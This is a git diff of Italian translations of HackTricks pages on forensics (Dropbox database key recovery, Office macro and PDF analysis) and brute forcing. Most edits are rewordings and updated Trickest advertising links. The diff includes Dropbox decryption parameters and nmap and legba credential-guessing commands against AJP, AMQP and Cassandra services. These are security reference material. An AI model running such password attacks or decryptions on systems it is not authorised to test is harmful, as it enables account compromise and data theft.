<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della community più avanzati al mondo.\ Utilizza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della community più avanzati al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %}
<details> <details>
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
Altri modi per supportare HackTricks:
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family) * Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di github. * **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
</details> </details>

View file

@ -1,4 +1,4 @@
# Archiviazione locale su cloud # Archiviazione locale su Cloud
<details> <details>
@ -17,10 +17,10 @@ Altri modi per supportare HackTricks:
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare flussi di lavoro** alimentati dagli strumenti della comunità più avanzati al mondo.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=local-cloud-storage) per creare e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=local-cloud-storage" %}
## OneDrive ## OneDrive
@ -69,7 +69,7 @@ Per capire meglio la crittografia che Dropbox utilizza puoi leggere [https://blo
Tuttavia, le informazioni principali sono: Tuttavia, le informazioni principali sono:
* **Entropia**: d114a55212655f74bd772e37e64aee9b * **Entropia**: d114a55212655f74bd772e37e64aee9b
* **Sale**: 0D638C092E8B82FC452883F95F355B8E * **Salt**: 0D638C092E8B82FC452883F95F355B8E
* **Algoritmo**: PBKDF2 * **Algoritmo**: PBKDF2
* **Iterazioni**: 1066 * **Iterazioni**: 1066
@ -84,9 +84,9 @@ Poi puoi utilizzare lo strumento [**DataProtectionDecryptor**](https://nirsoft.n
![](<../../../.gitbook/assets/image (443).png>) ![](<../../../.gitbook/assets/image (443).png>)
Se tutto va come previsto, lo strumento indicherà la **chiave primaria** che devi **usare per recuperare quella originale**. Per recuperare quella originale, usa semplicemente questa [ricevuta cyber\_chef](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\) mettendo la chiave primaria come "passphrase" all'interno della ricevuta. Se tutto va come previsto, lo strumento indicherà la **chiave primaria** che devi **usare per recuperare quella originale**. Per recuperare quella originale, usa semplicemente questa [ricetta di cyber\_chef](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\) mettendo la chiave primaria come "passphrase" all'interno della ricetta.
L'esadecimale risultante è la chiave finale utilizzata per crittografare i database che possono essere decrittati con: L'hex risultante è la chiave finale utilizzata per crittografare i database che possono essere decrittati con:
```bash ```bash
sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db
``` ```
@ -109,17 +109,17 @@ Altre tabelle all'interno di questo database contengono informazioni più intere
- **block\_cache**: hash di tutti i file e cartelle di Dropbox - **block\_cache**: hash di tutti i file e cartelle di Dropbox
- **block\_ref**: Collega l'ID hash della tabella `block_cache` con l'ID file nella tabella `file_journal` - **block\_ref**: Collega l'ID hash della tabella `block_cache` con l'ID file nella tabella `file_journal`
- **mount\_table**: Condivisione delle cartelle di Dropbox - **mount\_table**: Condivide cartelle di Dropbox
- **deleted\_fields**: File eliminati da Dropbox - **deleted\_fields**: File eliminati da Dropbox
- **date\_added** - **date\_added**
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della community più avanzati al mondo.\ Utilizza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=local-cloud-storage) per creare e **automatizzare flussi di lavoro** supportati dagli strumenti della community più avanzati al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=local-cloud-storage" %}
<details> <details>
@ -127,9 +127,9 @@ Ottieni l'accesso oggi:
Altri modi per supportare HackTricks: Altri modi per supportare HackTricks:
- Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! - Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
- Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) - Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
- Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFTs**](https://opensea.io/collection/the-peass-family) - Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
- **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** - **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
- **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github. - **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.

View file

@ -10,27 +10,27 @@ Altri modi per supportare HackTricks:
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) * Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. * **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=office-file-analysis) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=office-file-analysis" %}
Per ulteriori informazioni consulta [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Questo è solo un riassunto: Per ulteriori informazioni controlla [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Questo è solo un riassunto:
Microsoft ha creato molti formati di documenti di Office, con due tipi principali che sono i **formati OLE** (come RTF, DOC, XLS, PPT) e i **formati Office Open XML (OOXML)** (come DOCX, XLSX, PPTX). Questi formati possono includere macro, rendendoli bersagli per phishing e malware. I file OOXML sono strutturati come contenitori zip, consentendo l'ispezione tramite l'estrazione, rivelando la struttura dei file e delle cartelle e i contenuti dei file XML. Microsoft ha creato molti formati di documenti di Office, con due tipi principali che sono i **formati OLE** (come RTF, DOC, XLS, PPT) e i **formati Office Open XML (OOXML)** (come DOCX, XLSX, PPTX). Questi formati possono includere macro, rendendoli bersagli per phishing e malware. I file OOXML sono strutturati come contenitori zip, consentendo l'ispezione tramite scompattamento, rivelando il file e la gerarchia delle cartelle e i contenuti dei file XML.
Per esplorare le strutture dei file OOXML, viene fornito il comando per estrarre un documento e la struttura in output. Sono stati documentate tecniche per nascondere dati in questi file, indicando un'innovazione continua nella dissimulazione dei dati all'interno delle sfide CTF. Per esplorare le strutture dei file OOXML, viene fornito il comando per decomprimere un documento e la struttura di output. Sono stati documentate tecniche per nascondere dati in questi file, indicando un'innovazione continua nella dissimulazione dei dati all'interno delle sfide CTF.
Per l'analisi, **oletools** e **OfficeDissector** offrono set di strumenti completi per esaminare sia i documenti OLE che quelli OOXML. Questi strumenti aiutano nell'identificare e analizzare le macro incorporate, che spesso fungono da vettori per la distribuzione di malware, scaricando e eseguendo tipicamente payload maliziosi aggiuntivi. L'analisi delle macro VBA può essere condotta senza Microsoft Office utilizzando Libre Office, che consente il debug con punti di interruzione e variabili di watch. Per l'analisi, **oletools** e **OfficeDissector** offrono set di strumenti completi per esaminare sia i documenti OLE che OOXML. Questi strumenti aiutano nell'identificare e analizzare le macro incorporate, che spesso fungono da vettori per la distribuzione di malware, scaricando e eseguendo tipicamente payload dannosi aggiuntivi. L'analisi delle macro VBA può essere condotta senza Microsoft Office utilizzando Libre Office, che consente il debug con punti di interruzione e variabili di watch.
L'installazione e l'uso di **oletools** sono semplici, con comandi forniti per l'installazione tramite pip e l'estrazione di macro dai documenti. L'esecuzione automatica delle macro è attivata da funzioni come `AutoOpen`, `AutoExec` o `Document_Open`. L'installazione e l'uso di **oletools** sono semplici, con comandi forniti per l'installazione tramite pip e l'estrazione di macro dai documenti. L'esecuzione automatica delle macro è attivata da funzioni come `AutoOpen`, `AutoExec`, o `Document_Open`.
```bash ```bash
sudo pip3 install -U oletools sudo pip3 install -U oletools
olevba -c /path/to/document #Extract macros olevba -c /path/to/document #Extract macros
@ -38,10 +38,10 @@ olevba -c /path/to/document #Extract macros
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community **più avanzati al mondo**.\ Utilizza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=office-file-analysis) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community **più avanzati al mondo**.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=office-file-analysis" %}
<details> <details>
@ -52,7 +52,7 @@ Altri modi per supportare HackTricks:
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family) * Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di github. * **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di github.
</details> </details>

View file

@ -6,7 +6,7 @@
Altri modi per supportare HackTricks: Altri modi per supportare HackTricks:
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) * Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@ -17,14 +17,14 @@ Altri modi per supportare HackTricks:
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=pdf-file-analysis) per creare e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pdf-file-analysis" %}
**Per ulteriori dettagli controlla:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/) **Per ulteriori dettagli controlla:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
Il formato PDF è noto per la sua complessità e il potenziale di occultamento dei dati, rendendolo un punto focale per le sfide forensi CTF. Combina elementi di testo semplice con oggetti binari, che potrebbero essere compressi o crittografati, e può includere script in linguaggi come JavaScript o Flash. Per comprendere la struttura del PDF, si può fare riferimento ai materiali introduttivi di Didier Stevens [qui](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), o utilizzare strumenti come un editor di testo o un editor specifico per PDF come Origami. Il formato PDF è noto per la sua complessità e il potenziale di occultamento dei dati, rendendolo un punto focale per le sfide forensi CTF. Combina elementi di testo semplice con oggetti binari, che potrebbero essere compressi o crittografati, e può includere script in linguaggi come JavaScript o Flash. Per comprendere la struttura dei PDF, si può fare riferimento ai materiali introduttivi di Didier Stevens [qui](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), o utilizzare strumenti come un editor di testo o un editor specifico per PDF come Origami.
Per l'esplorazione o la manipolazione approfondita dei PDF, sono disponibili strumenti come [qpdf](https://github.com/qpdf/qpdf) e [Origami](https://github.com/mobmewireless/origami-pdf). I dati nascosti all'interno dei PDF potrebbero essere occultati in: Per l'esplorazione o la manipolazione approfondita dei PDF, sono disponibili strumenti come [qpdf](https://github.com/qpdf/qpdf) e [Origami](https://github.com/mobmewireless/origami-pdf). I dati nascosti all'interno dei PDF potrebbero essere occultati in:
@ -35,7 +35,7 @@ Per l'esplorazione o la manipolazione approfondita dei PDF, sono disponibili str
* Testo dietro le immagini o immagini sovrapposte * Testo dietro le immagini o immagini sovrapposte
* Commenti non visualizzati * Commenti non visualizzati
Per l'analisi personalizzata dei PDF, è possibile utilizzare librerie Python come [PeepDF](https://github.com/jesparza/peepdf) per creare script di analisi su misura. Inoltre, il potenziale del PDF per lo storage di dati nascosti è così vasto che risorse come la guida NSA sui rischi e le contromisure dei PDF, anche se non più ospitata nella sua posizione originale, offrono comunque preziosi spunti. Una [copia della guida](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) e una raccolta di [trucchi sul formato PDF](https://github.com/corkami/docs/blob/master/PDF/PDF.md) di Ange Albertini possono offrire ulteriori letture sull'argomento. Per l'analisi personalizzata dei PDF, è possibile utilizzare librerie Python come [PeepDF](https://github.com/jesparza/peepdf) per creare script di analisi su misura. Inoltre, il potenziale dei PDF per lo storage di dati nascosti è così vasto che risorse come la guida NSA sui rischi e le contromisure dei PDF, sebbene non più ospitata nella sua posizione originale, offrono comunque preziosi spunti. Una [copia della guida](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) e una raccolta di [trucchi sul formato PDF](https://github.com/corkami/docs/blob/master/PDF/PDF.md) di Ange Albertini possono offrire ulteriori letture sull'argomento.
<details> <details>
@ -43,7 +43,7 @@ Per l'analisi personalizzata dei PDF, è possibile utilizzare librerie Python co
Altri modi per supportare HackTricks: Altri modi per supportare HackTricks:
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) * Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

View file

@ -3,10 +3,10 @@
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community più avanzati al mondo.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community più avanzati al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
<details> <details>
@ -16,15 +16,15 @@ Altri modi per supportare HackTricks:
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family) * Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. * **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details> </details>
## Credenziali predefinite ## Credenziali Predefinite
**Cerca su Google** le credenziali predefinite della tecnologia in uso, o **prova questi link**: **Cerca su Google** le credenziali predefinite della tecnologia che viene utilizzata, o **prova questi link**:
* [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet) * [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet)
* [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html) * [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html)
@ -41,7 +41,7 @@ Altri modi per supportare HackTricks:
## **Crea i tuoi Dizionari** ## **Crea i tuoi Dizionari**
Trova il maggior numero possibile di informazioni sul target e genera un dizionario personalizzato. Strumenti che possono aiutare: Trova il maggior numero possibile di informazioni sul target e genera un dizionario personalizzato. Strumenti che potrebbero aiutare:
### Crunch ### Crunch
```bash ```bash
@ -103,10 +103,10 @@ Finished in 0.920s.
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\ Utilizza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) per creare e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}
## Servizi ## Servizi
@ -133,16 +133,12 @@ nmap --script ajp-brute -p 8009 <IP>
legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl] legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl]
``` ```
### Cassandra ### Cassandra
Cassandra è un database distribuito altamente scalabile che può essere soggetto a attacchi di forza bruta per compromettere le credenziali di accesso.
```bash ```bash
nmap --script cassandra-brute -p 9160 <IP> nmap --script cassandra-brute -p 9160 <IP>
# legba ScyllaDB / Apache Casandra # legba ScyllaDB / Apache Casandra
legba scylla --username cassandra --password wordlists/passwords.txt --target localhost:9042 legba scylla --username cassandra --password wordlists/passwords.txt --target localhost:9042
``` ```
### CouchDB ### CouchDB
